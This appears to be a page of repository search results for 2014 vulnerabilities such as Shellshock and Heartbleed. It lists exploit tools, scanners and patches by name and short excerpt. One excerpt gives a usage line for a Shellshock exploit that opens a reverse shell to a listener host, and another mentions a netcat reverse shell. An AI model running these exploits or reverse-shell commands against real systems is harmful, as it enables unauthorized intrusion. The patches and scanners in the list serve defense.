33564 matches found
cve-2014-4699-ptrace
análisis https://duasynt.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis...
BadBash
BadBash CVE-2014-6271 ShellShock RCE PoC tool ======= BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234. Developer : Andy Yang Version : 0.1.0 License : GPLv3 Orginal github project :...
CVE-2014-3570
This repository does not have a README...
CVE-2014-0160-HeartBleed
This is the exploit for CVE-2014-0160 from exploitdb. It did not work for me on python3 while solving Valentine on hackthebox, so I have made the necessary changes. I am not the original author of this code...
CVE-2014-3153-exploit
CVE-2014-3153-exploit My exploit for kernel exploitation...
-CVE-2014-6271-Shellshock-Remote-Command-Injection-
CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock Remote Command Injection tool for quick reverse shell and file browsing root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234...
bash-4.3-fixed-CVE-2014-6271
Introduction This is GNU Bash, version 4.3. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...
G2.5_openssl_CVE-2014-5139
This repository does not have a README...
Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report
Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report This repository contains a professional bug bounty report demonstrating the successful exploitation of a Blind SSRF vulnerability that reached an internal CGI endpoint vulnerable to Shellshock CVE-2014-6271. Remote...
bash-up
bash-up a auto script to fix CVE-2014-6271 bash vulnerability...
CVE-2014-0160-Chrome-Plugin
Heartbleed chrome plugin DEPRECATED Chrome plugin who will look-up if the current site and all subdomains called are vulnerable to CVE-2014-0160. The vulnerability check is done by an API service who's now dead it wasn't in 2014! May the code can be useful to someone anyway, if someone found a ne...
cve-2014-2734
This repository does not have a README...
bash-shellshock
bash-shellshock Cookbook This cookbook is designed to test and optionally remediate the bash "shellshock" bug, more formally known as cve-2014-7169. Once Chef-client has executed this recipe on one or more hosts, a list of all nodes that are vulnerable to the "Shellshock" exploit can be retrieved...
Shellshock-Vulnerability-Scan
Shellshock-Vulnerability-Scan 用于扫描bash漏洞（CVE-2014-6271，也称为Shellshock）的Android应用 从Play商店下载应用 https://play.google.com/store/apps/details?id=in.indiandragon.shellshock.shellshockvulnerabilityscan 不再继续开发...
ansible-bashpocalypse
Patch for CVE-2014-6271 https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ Usage install ansible on your local host. add the servers you wish to patch to inventory. run ansible-playbook ./deploy.yml -i inventory...
heartbleed
heartbleed A simple tool written in Ruby wich allow testing your servers for OpenSSL CVE-2014-0160 vulnerability. Disclaimer I will not be taken responsible for the damage that could be done using this tool. It was written to check private servers for a precise vulnerability and measure potential...
pyshellshock
.. CVE-2014-6271: https://vulners.com/cve/CVE-2014-6271 ============ pyshellshock Python library and utility for CVE-2014-6271...
THM-Steel_Mountain-CVE-2014-6287
THM-SteelMountain-CVE-2014-6287 A write up on the Steel Mountain box from TryHackMe.com and exploit for CVE-2014-6287 Credits I take no credit for the original discovery and exploitation of this vulnerability. Thank you to the following people! Discovery: Daniele Linguaglossa Metasploit Module...
ssl-heartbleed.nse
ssl-heartbleed.nse Nmap NSE script that discovers/exploits Heartbleed/CVE-2014-0160. This script is now basically the one Patrik Karlsson wrote with some minor changes ported from my own script. Features Includes support for FTP,SMTP,XMPP...